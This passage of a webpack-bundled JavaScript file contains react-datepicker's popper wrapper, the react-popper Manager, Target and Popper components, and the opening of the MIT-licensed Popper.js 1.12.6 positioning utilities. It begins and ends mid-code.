_classCallCheck(this, PopperComponent); return _possibleConstructorReturn(this, (PopperComponent.__proto__ || Object.getPrototypeOf(PopperComponent)).apply(this, arguments)); } _createClass(PopperComponent, [{ key: 'render', value: function render() { var _props = this.props, className = _props.className, hidePopper = _props.hidePopper, popperComponent = _props.popperComponent, popperModifiers = _props.popperModifiers, popperPlacement = _props.popperPlacement, targetComponent = _props.targetComponent; var popper = void 0; if (!hidePopper) { var classes = (0, _classnames2.default)('react-datepicker-popper', className); popper = _react2.default.createElement( _reactPopper.Popper, { className: classes, modifiers: popperModifiers, placement: popperPlacement }, popperComponent ); } if (this.props.popperContainer) { popper = _react2.default.createElement(this.props.popperContainer, {}, popper); } return _react2.default.createElement( _reactPopper.Manager, null, _react2.default.createElement( _reactPopper.Target, { className: 'react-datepicker-wrapper' }, targetComponent ), popper ); } }], [{ key: 'defaultProps', get: function get() { return { hidePopper: true, popperModifiers: { preventOverflow: { enabled: true, escapeWithReference: true, boundariesElement: 'viewport' } }, popperPlacement: 'bottom-start' }; } }]); return PopperComponent; }(_react2.default.Component); PopperComponent.propTypes = { className: _propTypes2.default.string, hidePopper: _propTypes2.default.bool, popperComponent: _propTypes2.default.element, popperModifiers: _propTypes2.default.object, // <datepicker/> props popperPlacement: _propTypes2.default.oneOf(popperPlacementPositions), // <datepicker/> props popperContainer: _propTypes2.default.func, targetComponent: _propTypes2.default.element }; exports.default = PopperComponent; /***/ }), /* 22 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.Arrow = exports.Popper = exports.Target = exports.Manager = undefined; var _Manager2 = __webpack_require__(23); var _Manager3 = _interopRequireDefault(_Manager2); var _Target2 = __webpack_require__(24); var _Target3 = _interopRequireDefault(_Target2); var _Popper2 = __webpack_require__(25); var _Popper3 = _interopRequireDefault(_Popper2); var _Arrow2 = __webpack_require__(27); var _Arrow3 = _interopRequireDefault(_Arrow2); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } exports.Manager = _Manager3.default; exports.Target = _Target3.default; exports.Popper = _Popper3.default; exports.Arrow = _Arrow3.default; /***/ }), /* 23 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var Manager = function (_Component) { _inherits(Manager, _Component); function Manager() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Manager); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Manager.__proto__ || Object.getPrototypeOf(Manager)).call.apply(_ref, [this].concat(args))), _this), _this._setTargetNode = function (node) { _this._targetNode = node; }, _this._getTargetNode = function () { return _this._targetNode; }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Manager, [{ key: 'getChildContext', value: function getChildContext() { return { popperManager: { setTargetNode: this._setTargetNode, getTargetNode: this._getTargetNode } }; } }, { key: 'render', value: function render() { var _props = this.props, tag = _props.tag, children = _props.children, restProps = _objectWithoutProperties(_props, ['tag', 'children']); if (tag !== false) { return (0, _react.createElement)(tag, restProps, children); } else { return children; } } }]); return Manager; }(_react.Component); Manager.childContextTypes = { popperManager: _propTypes2.default.object.isRequired }; Manager.propTypes = { tag: _propTypes2.default.oneOfType([_propTypes2.default.string, _propTypes2.default.bool]) }; Manager.defaultProps = { tag: 'div' }; exports.default = Manager; /***/ }), /* 24 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; } var Target = function Target(props, context) { var _props$component = props.component, component = _props$component === undefined ? 'div' : _props$component, innerRef = props.innerRef, children = props.children, restProps = _objectWithoutProperties(props, ['component', 'innerRef', 'children']); var popperManager = context.popperManager; var targetRef = function targetRef(node) { popperManager.setTargetNode(node); if (typeof innerRef === 'function') { innerRef(node); } }; if (typeof children === 'function') { var targetProps = { ref: targetRef }; return children({ targetProps: targetProps, restProps: restProps }); } var componentProps = _extends({}, restProps); if (typeof component === 'string') { componentProps.ref = targetRef; } else { componentProps.innerRef = targetRef; } return (0, _react.createElement)(component, componentProps, children); }; Target.contextTypes = { popperManager: _propTypes2.default.object.isRequired }; Target.propTypes = { component: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]), innerRef: _propTypes2.default.func, children: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]) }; exports.default = Target; /***/ }), /* 25 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _popper = __webpack_require__(26); var _popper2 = _interopRequireDefault(_popper); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var noop = function noop() { return null; }; var Popper = function (_Component) { _inherits(Popper, _Component); function Popper() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Popper); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Popper.__proto__ || Object.getPrototypeOf(Popper)).call.apply(_ref, [this].concat(args))), _this), _this.state = {}, _this._setArrowNode = function (node) { _this._arrowNode = node; }, _this._getTargetNode = function () { return _this.context.popperManager.getTargetNode(); }, _this._getOffsets = function (data) { return Object.keys(data.offsets).map(function (key) { return data.offsets[key]; }); }, _this._isDataDirty = function (data) { if (_this.state.data) { return JSON.stringify(_this._getOffsets(_this.state.data)) !== JSON.stringify(_this._getOffsets(data)); } else { return true; } }, _this._updateStateModifier = { enabled: true, order: 900, fn: function fn(data) { if (_this._isDataDirty(data)) { _this.setState({ data: data }); } return data; } }, _this._getPopperStyle = function () { var data = _this.state.data; // If Popper isn't instantiated, hide the popperElement // to avoid flash of unstyled content if (!_this._popper || !data) { return { position: 'absolute', pointerEvents: 'none', opacity: 0 }; } var _data$offsets$popper = data.offsets.popper, top = _data$offsets$popper.top, left = _data$offsets$popper.left, position = _data$offsets$popper.position; return _extends({ position: position }, data.styles); }, _this._getPopperPlacement = function () { return !!_this.state.data ? _this.state.data.placement : undefined; }, _this._getPopperHide = function () { return !!_this.state.data && _this.state.data.hide ? '' : undefined; }, _this._getArrowStyle = function () { if (!_this.state.data || !_this.state.data.offsets.arrow) { return {}; } else { var _this$state$data$offs = _this.state.data.offsets.arrow, top = _this$state$data$offs.top, left = _this$state$data$offs.left; return { top: top, left: left }; } }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Popper, [{ key: 'getChildContext', value: function getChildContext() { return { popper: { setArrowNode: this._setArrowNode, getArrowStyle: this._getArrowStyle } }; } }, { key: 'componentDidMount', value: function componentDidMount() { this._updatePopper(); } }, { key: 'componentDidUpdate', value: function componentDidUpdate(lastProps) { if (lastProps.placement !== this.props.placement || lastProps.eventsEnabled !== this.props.eventsEnabled) { this._updatePopper(); } if (this._popper && lastProps.children !== this.props.children) { this._popper.scheduleUpdate(); } } }, { key: 'componentWillUnmount', value: function componentWillUnmount() { this._destroyPopper(); } }, { key: '_updatePopper', value: function _updatePopper() { this._destroyPopper(); if (this._node) { this._createPopper(); } } }, { key: '_createPopper', value: function _createPopper() { var _props = this.props, placement = _props.placement, eventsEnabled = _props.eventsEnabled; var modifiers = _extends({}, this.props.modifiers, { applyStyle: { enabled: false }, updateState: this._updateStateModifier }); if (this._arrowNode) { modifiers.arrow = { element: this._arrowNode }; } this._popper = new _popper2.default(this._getTargetNode(), this._node, { placement: placement, eventsEnabled: eventsEnabled, modifiers: modifiers }); // schedule an update to make sure everything gets positioned correct // after being instantiated this._popper.scheduleUpdate(); } }, { key: '_destroyPopper', value: function _destroyPopper() { if (this._popper) { this._popper.destroy(); } } }, { key: 'render', value: function render() { var _this2 = this; var _props2 = this.props, component = _props2.component, innerRef = _props2.innerRef, placement = _props2.placement, eventsEnabled = _props2.eventsEnabled, modifiers = _props2.modifiers, children = _props2.children, restProps = _objectWithoutProperties(_props2, ['component', 'innerRef', 'placement', 'eventsEnabled', 'modifiers', 'children']); var popperRef = function popperRef(node) { _this2._node = node; if (typeof innerRef === 'function') { innerRef(node); } }; var popperStyle = this._getPopperStyle(); var popperPlacement = this._getPopperPlacement(); var popperHide = this._getPopperHide(); if (typeof children === 'function') { var _popperProps; var popperProps = (_popperProps = { ref: popperRef, style: popperStyle }, _defineProperty(_popperProps, 'data-placement', popperPlacement), _defineProperty(_popperProps, 'data-x-out-of-boundaries', popperHide), _popperProps); return children({ popperProps: popperProps, restProps: restProps, scheduleUpdate: this._popper && this._popper.scheduleUpdate }); } var componentProps = _extends({}, restProps, { style: _extends({}, restProps.style, popperStyle), 'data-placement': popperPlacement, 'data-x-out-of-boundaries': popperHide }); if (typeof component === 'string') { componentProps.ref = popperRef; } else { componentProps.innerRef = popperRef; } return (0, _react.createElement)(component, componentProps, children); } }]); return Popper; }(_react.Component); Popper.contextTypes = { popperManager: _propTypes2.default.object.isRequired }; Popper.childContextTypes = { popper: _propTypes2.default.object.isRequired }; Popper.propTypes = { component: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]), innerRef: _propTypes2.default.func, placement: _propTypes2.default.oneOf(_popper2.default.placements), eventsEnabled: _propTypes2.default.bool, modifiers: _propTypes2.default.object, children: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]) }; Popper.defaultProps = { component: 'div', placement: 'bottom', eventsEnabled: true, modifiers: {} }; exports.default = Popper; /***/ }), /* 26 */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(global) {/**! * @fileOverview Kickass library to create and place poppers near their reference elements. * @version 1.12.6 * @license * Copyright (c) 2016 Federico Zivolo and contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ (function (global, factory) { true ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.Popper = factory()); }(this, (function () { 'use strict'; var isBrowser = typeof window !== 'undefined' && typeof window.document !== 'undefined'; var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox']; var timeoutDuration = 0; for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) { if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) { timeoutDuration = 1; break; } } function microtaskDebounce(fn) { var called = false; return function () { if (called) { return; } called = true; Promise.resolve().then(function () { called = false; fn(); }); }; } function taskDebounce(fn) { var scheduled = false; return function () { if (!scheduled) { scheduled = true; setTimeout(function () { scheduled = false; fn(); }, timeoutDuration); } }; } var supportsMicroTasks = isBrowser && window.Promise; /** * Create a debounced version of a method, that's asynchronously deferred * but called in the minimum time possible. * * @method * @memberof Popper.Utils * @argument {Function} fn * @returns {Function} */ var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce; /** * Check if the given variable is a function * @method * @memberof Popper.Utils * @argument {Any} functionToCheck - variable to check * @returns {Boolean} answer to: is a function? */ function isFunction(functionToCheck) { var getType = {}; return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]'; } /** * Get CSS computed property of the given element * @method * @memberof Popper.Utils * @argument {Eement} element * @argument {String} property */ function getStyleComputedProperty(element, property) { if (element.nodeType !== 1) { return []; } // NOTE: 1 DOM access here var css = window.getComputedStyle(element, null); return property ? css[property] : css; } /** * Returns the parentNode or the host of the element * @method * @memberof Popper.Utils * @argument {Element} element * @returns {Element} parent */ function getParentNode(element) { if (element.nodeName === 'HTML') { return element; } return element.parentNode || element.host; } /** * Returns the scrolling parent of the given element * @method * @memberof Popper.Utils * @argument {Element} element * @returns {Element} scroll parent */ function getScrollParent(element) { // Return body, `getScroll` will take care to get the correct `scrollTop` from it if (!element) { return window.document.body; } switch (element.nodeName) { case 'HTML': case 'BODY': return element.ownerDocument.body; case '#document': return element.body; } // Firefox want us to check `-x` and `-y` variations as well var _getStyleComputedProp = getStyleComputedProperty(element), overflow = _getStyleComputedProp.overflow, overflowX = _getStyleComputedProp.overflowX, overflowY = _getStyleComputedProp.overflowY; if (/(auto|scroll)/.test(overflow + overflowY + overflowX)) { return element; } return getScrollParent(getParentNode(element)); } /** * Returns the offset parent of the given element * @method * @memberof Popper.Utils * @argument {Element} element * @returns {Element} offset parent */ function getOffsetParent(element) { // NOTE: 1 DOM access here var offsetParent = element && element.offsetParent; var nodeName = offsetParent && offsetParent.nodeName; if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') { if (element) { return element.ownerDocument.documentElement; } return window.document.documentElement; } // .offsetParent will return the closest TD or TABLE in case // no offsetParent is present, I hate this job... if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') { return getOffsetParent(offsetParent); } return offsetParent; } function isOffsetContainer(element) { var nodeName = element.nodeName; if (nodeName === 'BODY') { return false; } return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element; } /** * Finds the root node (document, shadowDOM root) of the given element * @method * @memberof Popper.Utils * @argument {Element} node * @returns {Element} root node */ function getRoot(node) { if (node.parentNode !== null) { return getRoot(node.parentNode); } return node; } /** * Finds the offset parent common to the two provided nodes * @method * @memberof Popper.Utils * @argument {Element} element1 * @argument {Element} element2 * @returns {Element} common offset parent */ function findCommonOffsetParent(element1, element2) { // This check is needed to avoid errors in case one of the elements isn't defined for any reason if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) { return window.document.documentElement; } // Here we make sure to give as "start" the element that comes first in the DOM var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING; var start = order ? element1 : element2; var end = order ? element2 : element1; // Get common ancestor container var range = document.createRange(); range.setStart(start, 0); range.setEnd(end, 0); var commonAncestorContainer = range.commonAncestorContainer; // Both nodes are inside #document if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) { if (isOffsetContainer(commonAncestorContainer)) { return commonAncestorContainer; } return getOffsetParent(commonAncestorContainer); } // one of the nodes is inside shadowDOM, find which one var element1root = getRoot(element1); if (element1root.host) { return findCommonOffsetParent(element1root.host, element2); } else { return findCommonOffsetParent(element1, getRoot(element2).host); } } /** * Gets the scroll value of the given element in the given side (top and left) * @method * @memberof Popper.Utils * @argument {Element} element * @argument {String} side `top` or `left` * @returns {number} amount of scrolled pixels */ function getScroll(element) { var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top'; var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft'; var nodeName = element.nodeName; if (nodeName === 'BODY' || nodeName === 'HTML') { var html = element.ownerDocument.documentElement; var scrollingElement = element.ownerDocument.scrollingElement || html; return scrollingElement[upperSide]; } return element[upperSide]; } /* * Sum or subtract the element scroll values (left and top) from a given rect object * @method * @memberof Popper.Utils * @param {Object} rect - Rect object you want to change * @param {HTMLElement} element - The element from the function reads the scroll values * @param {Boolean} subtract - set to true if you want to subtract the scroll values * @return {Object} rect - The modifier rect object */ function includeScroll(rect, element) { var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var scrollTop = getScroll(element, 'top'); var scrollLeft = getScroll(element, 'left'); var modifier = subtract ? -1 : 1; rect.top += scrollTop * modifier; rect.bottom += scrollTop * modifier; rect.left += scrollLeft * modifier; rect.right += scrollLeft * modifier; return rect; } /* * Helper to detect borders of a given element * @method * @memberof Popper.Utils * @param {CSSStyleDeclaration} styles * Result of `getStyleComputedProperty` on the given element * @param {String} axis - `x` or `y` * @return {number} borders - The borders size of the given axis */ function getBordersSize(styles, axis) { var sideA = axis === 'x' ? 'Left' : 'Top'; var sideB = sideA === 'Left' ? 'Right' : 'Bottom'; return +styles['border' + sideA + 'Width'].split('px')[0] + +styles['border' + sideB + 'Width'].split('px')[0]; } /** * Tells if you are running Internet Explorer 10 * @method * @memberof Popper.Utils * @returns {Boolean} isIE10 */ var isIE10 = undefined; var isIE10$1 = function () { if (isIE10 === undefined) { isIE10 = navigator.appVersion.indexOf('MSIE 10') !== -1; } return isIE10; }; function getSize(axis, body, html, computedStyle) { return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE10$1() ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0); } function getWindowSizes() { var body = window.document.body; var html = window.document.documentElement; var computedStyle = isIE10$1() && window.getComputedStyle(html); return { height: getSize('Height', body, html, computedStyle), width: getSize('Width', body, html, computedStyle) }; } var classCallCheck = function (instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }; var createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var defineProperty = function (obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }; var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; /** * Given element offsets, generate an output similar to getBoundingClientRect * @method * @memberof Popper.Utils * @argument {Object} offsets * @returns {Object} ClientRect like output */ function getClientRect(offsets) { return _extends({}, offsets, { right: offsets.left + offsets.width, bottom: offsets.top + offsets.height }); } /** * Get bounding client rect of given element * @method * @memberof Popper.Utils * @param {HTMLElement} element * @return {Object} client rect */ function getBoundingClientRect(element) { var rect = {}; // IE10 10 FIX: Please, don't ask, the element isn't // considered in DOM in some circumstances... // This isn't reproducible in IE10 compatibility mode of IE11 if (isIE10$1()) { try { rect = element.getBoundingClientRect(); var scrollTop = getScroll(element, 'top'); var scrollLeft = getScroll(element, 'left'); rect.top += scrollTop; rect.left += scrollLeft; rect.bottom += scrollTop; rect.right += scrollLeft; } catch (err) {} } else { rect = element.getBoundingClientRect(); } var result = { left: rect.left, top: rect.top, width: rect.right - rect.left, height: rect.bottom - rect.top }; // subtract scrollbar size from sizes var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {}; var width = sizes.width || element.clientWidth || result.right - result.left; var height = sizes.height || element.clientHeight || result.bottom - result.top; var horizScrollbar = element.offsetWidth - width; var vertScrollbar = element.offsetHeight - height; // if an hypothetical scrollbar is detected, we must be sure it's not a `border` // we make this check conditional for performance reasons if (horizScrollbar || vertScrollbar) { var styles = getStyleComputedProperty(element); horizScrollbar -= getBordersSize(styles, 'x'); vertScrollbar -= getBordersSize(styles, 'y'); result.width -= horizScrollbar; result.height -= vertScrollbar; } return getClientRect(result); } function getOffsetRectRelativeToArbitraryNode(children, parent) { var isIE10 = isIE10$1(); var isHTML = parent.nodeName === 'HTML'; var childrenRect = getBoundingClientRect(children); var parentRect = getBoundingClientRect(parent); var scrollParent = getScrollParent(children); var styles = getStyleComputedProperty(parent); var borderTopWidth = +styles.borderTopWidth.split('px')[0]; var borderLeftWidth = +styles.borderLeftWidth.split('px')[0]; var offsets = getClientRect({ top: childrenRect.top - parentRect.top - borderTopWidth, left: childrenRect.left - parentRect.left - borderLeftWidth, width: childrenRect.width, height: childrenRect.height }); offsets.marginTop = 0; offsets.marginLeft = 0; // Subtract margins of documentElement in case it's being used as parent // we do this only on HTML because it's the only element that behaves // differently when margins are applied to it. The margins are included in // the box of the documentElement, in the other cases not. if (!isIE10 && isHTML) { var marginTop = +styles.marginTop.split('px')[0]; var marginLeft = +styles.marginLeft.split('px')[0]; offsets.top -= borderTopWidth - marginTop; offsets.bottom -= borderTopWidth - marginTop; offsets.left -= borderLeftWidth - marginLeft; offsets.right -= borderLeftWidth - marginLeft; // Attach marginTop and marginLeft because in some circumstances we may need them offsets.marginTop = marginTop; offsets.marginLeft = marginLeft; } if (isIE10 ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') { offsets = includeScroll(offsets, parent); } return offsets; } function getViewportOffsetRectRelativeToArtbitraryNode(element) { var html = element.ownerDocument.documentElement; var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html); var width = Math.max(html.clientWidth, window.innerWidth || 0); var height = Math.max(html.clientHeight, window.innerHeight || 0); var scrollTop = getScroll(html); var scrollLeft = getScroll(html, 'left'); var offset = { top: scrollTop - relativeOffset.top + relativeOffset.marginTop, left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft, width: width, height: height }; return getClientRect(offset); } /** * Check if the given element is fixed or is inside a fixed parent * @method * @memberof Popper.Utils * @argument {Element} element * @argument {Element} customContainer * @returns {Boolean} answer to "isFixed?" */ function isFixed(element) { var nodeName = element.nodeName; if (nodeName === 'BODY' || nodeName === 'HTML') { return false; } if (getStyleComputedProperty(element, 'position') === 'fixed') { return true; } return isFixed(getParentNode(element)); } /** * Computed the boundaries limits and return them * @method * @memberof Popper.Utils * @param {HTMLElement} popper * @param {HTMLElement} reference * @param {number} padding * @param {HTMLElement} boundariesElement - Element used to define the boundaries * @returns {Object} Coordinates of the boundaries */ function getBoundaries(popper, reference, padding, boundariesElement) { // NOTE: 1 DOM access here var boundaries = { top: 0, left: 0 }; var offsetParent = findCommonOffsetParent(popper, reference); // Handle viewport case if (boundariesElement === 'viewport') { boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent); } else { // Handle other cases based on DOM element used as boundaries var boundariesNode = void 0; if (boundariesElement === 'scrollParent') { boundariesNode = getScrollParent(getParentNode(popper)); if (boundariesNode.nodeName === 'BODY') { boundariesNode = popper.ownerDocument.documentElement; } } else if (boundariesElement === 'window') { boundariesNode = popper.ownerDocument.documentElement; } else { boundariesNode = boundariesElement; } var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent); // In case of HTML, we need a different computation if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) { var _getWindowSizes = getWindowSizes(), height = _getWindowSizes.height, width = _getWindowSizes.width; boundaries.top += offsets.top - offsets.marginTop; boundaries.bottom = height + offsets.top; boundaries.left += offsets.left - offsets.marginLeft; boundaries.right = width + offsets.left; } else { // for all the other DOM elements, this one is good boundaries = offsets; } } // Add paddings boundaries.left += padding; boundaries.top += padding; boundaries.right -= padding; boundaries.bottom -= padding; return boundaries; } function getArea(_ref) { var width = _ref.width, height = _ref.height; return width * height; } /** * Utility used to transform the `auto` placement to the placement with more * available space. * @method * @memberof Popper.Utils * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) { var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0; if (placement.indexOf('auto') === -1) { return placement; } var boundaries = getBoundaries(popper, reference, padding, boundariesElement); var rects = { top: { width: boundaries.width, height: refRect.top - boundaries.top }, right: { width: boundaries.right - refRect.right, height: boundaries.height }, bottom: { width: boundaries.width, height: boundaries.bottom - refRect.bottom }, left: { width: refRect.left - boundaries.left, height: boundaries.height } }; var sortedAreas = Object.keys(rects).map(function (key) { return _extends({ key: key }, rects[key], { area: getArea(rects[key]) }); }).sort(function (a, b) { return b.area - a.area; }); var filteredAreas = sortedAreas.filter(function (_ref2) { var width = _ref2.width, height = _ref2.height; return width >= popper.clientWidth && height >= popper.clientHeight; }); var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key; var variation = placement.split('-')[1]; return computedPlacement + (variation ? '-' + variation : ''); } /** * Get offsets to the reference element * @method * @memberof Popper.Utils * @param {Object} state * @param {Element} popper - the popper element * @param {Element} reference - the reference element (the popper will be relative to this) * @returns {Object} An object containing the offsets which will be applied to the popper */ function getReferenceOffsets(state, popper, reference) { var commonOffsetParent = findCommonOffsetParent(popper, reference); return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent); } /** * Get the outer sizes of the given element (offset size + margins) * @method * @memberof Popper.Utils * @argument {Element} element * @returns {Object} object containing width and height properties */ function getOuterSizes(element) { var styles = window.getComputedStyle(element); var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom); var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight); var result = { width: element.offsetWidth + y, height: element.offsetHeight + x }; return result; } /** * Get the opposite placement of the given one * @method * @memberof Popper.Utils * @argument {String} placement * @returns {String} flipped placement */ function getOppositePlacement(placement) { var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' }; return placement.replace(/left|right|bottom|top/g, function (matched) { return hash[matched]; }); } /** * Get offsets to the popper * @method * @memberof Popper.Utils * @param {Object} position - CSS position the Popper will get applied * @param {HTMLElement} popper - the popper element * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this) * @param {String} placement - one of the valid placement options * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper */ function getPopperOffsets(popper, referenceOffsets, placement) { placement = 